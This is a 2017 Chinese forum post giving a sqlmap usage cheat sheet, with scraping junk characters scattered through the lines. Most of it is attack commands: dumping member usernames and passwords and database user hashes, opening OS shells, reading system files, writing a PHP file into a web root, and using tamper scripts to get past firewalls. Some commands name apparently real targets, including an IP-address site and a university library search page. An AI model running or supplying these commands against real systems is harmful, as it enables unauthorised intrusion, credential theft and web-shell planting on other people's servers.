找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap8 f0 l1 t: W& d- e/ c

3 Y! {# x$ m$ g+ y+ i( O  q0 Dupdate :::::>     in the folder   after  execute    following   order : svn update
% ~9 D& u' y" t( a6 a, S: \% b* d$ h
sqlmap.py -r 1.txt --current-db
2 i, u4 `) S, X+ {1 }6 @% g9 L8 x9 o2 \. ]8 [3 N# w
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”0 N6 a* w$ @2 ]9 o) c

, G! k2 K+ f4 k3 `==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) : J: J' x6 f& s' g. x
猜解数据库
* G, {) x8 y$ `- P% |& a' E./sqlmap.py -u "injection-url" --dbs/ E2 K2 g2 w; Z6 G9 `% t
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
- Z! M- t3 O3 R0 \& |2 X5 J6 S5 ^3 L& F4 n( X, a' I
猜解表名/ r' g6 F8 ]  y4 I: w4 U- c
./sqlmap.py -u "injection-url" -D database_name --tables
4 L& N- B. e, Q3 P- [) @' A) a1 W: o. m, i9 e: M: x0 {
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"' A' x. _% h( ^/ C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
+ X1 t" i5 R! u. W
: J# W# B5 e0 Y; Q8 {& q: }7 c* ~sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
7 U- u% {8 ~! ^$ ]5 ]4 R
+ f1 i' P, }8 _3 q" Msqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
: J) Q$ s- F/ {( P) tsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"* u6 x& _" l4 C6 L
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
; K( t4 j2 R; V0 J- [sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
; G, t4 Q' G& T: f* _6 s
: K; e# d; v# W+ v5 H: m- Fsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
% r" ~3 M# Q& P) Bsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
( N. d/ T/ i2 Q- n9 {* Q9 ?( ~/ psqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"# T( q! F# c/ O
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
$ p1 U5 B5 y0 z) Osqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump! L7 e1 V' ~* w9 W9 c
* [, @  Q1 h) T. x2 Q5 ~
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
" J6 ?! o8 m7 S1 W+ @2 X  U- G- dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
! X: L+ s. V8 g0 J  K' k6 Q1 ?* e4 `3 V4 q5 n/ U: N) C
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
1 K, }$ E: V- _8 ]  A1 Y猜解列名
0 r6 ^0 O  s3 r$ ]; ~+ `0 y./sqlmap.py -u "injection-url" -D database_name -T table_name --columns* T! S6 y7 X7 z/ C( V7 ~. w( Y

" ~4 @% \6 A" f8 e: M! e7 |sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
" G5 {2 o" _4 P0 Jsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
( h: a0 j/ b1 u5 b9 Z) G+ D. ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
( }% A+ S- ^( Q. t) w4 S- y( k" f  t& k0 ]6 J1 x5 `$ n
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
+ F: t* v( {( G&submit=Go9 \9 G4 S; g" `6 }4 Z* ~
猜解值5 I# O# O% a: E0 o% q) R2 {4 J; Y: Z
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
" B- i: g8 |3 k7 F! a6 V========================================================
" A- p" L: P" t, W搜索表名中包括mana字符的
) i+ |3 k% Q! j8 p( |5 v2 I* T  e/sqlmap.py -u "injection-url" -T mana --search+ L  Z, S- k7 q/ A' U. W
返回一个交互式sql shell
( O4 l0 C! n8 i6 `; N$ ~/sqlmap.py -u "injection-url" --sql-shell
/ E0 q& l( l: L1 H( L读取指定文件(需权限)
' ~% q& Q! P* F( m' `' k: o* S9 F/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"- L7 a) M! z# H# H
查看当前 用户 及 数据库
; R  _# K. j% F7 G/ I! Q/sqlmap.py -u "injection-url" --current-user --current-db
  P! ]) S- Y& d& H+ [5 F6 V本地文件 写入 远程目标绝对路径% M  s) G( v; J* `
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
, v# E# L0 e9 w9 Dsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ! V% E, l0 Y* A$ p' H; n+ d; s  A
% ?& v6 Y2 o( \& L, O
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
+ _1 S+ j! b" w: I0 b查看某用的权限
# u& P) r' [7 h+ y8 @  Q/sqlmap.py -u "injection-url" --privileges -U root
: `5 H6 K3 W# |查看当前用户是否为dba
' W# Y* q0 N/ @/sqlmap.py -u "injection-url" --is-dba: c$ [1 B1 V. p2 Z# V' R0 f0 C7 q! `2 [
读取所有数据库用户或指定数据库用户的密码# ]* D; C8 G. q( a
sqlmap.py -r 1.txt --users --passwords1 I, ]8 n/ l% s* C3 U
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" # C) W# G4 I5 O3 t
( e0 O8 \. P& Z( h( r2 ]/ y: s) q
/sqlmap.py -u "injection-url" --passwords -U root2 S; ^7 G, L7 e9 H: _1 ?4 U
! B, U  Z& P+ m: M7 Z
--start&&--stop 与 --first&&--last 的区别
# {* c) @# h7 n; O1 l7 ^+ H/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
* B4 N' h: g5 _
4 w: n2 o8 q5 t从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
* y) ^. ]0 j6 k9 y8 P2 ~; I7 C/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
, ~% u. V! S6 |3 b8 r/ ?$ M3 Z4 G/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
5 f3 o( A- E% x0 c0 [; T2 K1 q1 n: n, s" e5 a
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
% i; n; |8 c! Y( m/ V/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
. `8 o6 W8 f# r7 [( D6 R( M; k
; {7 \' B- W' _) D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表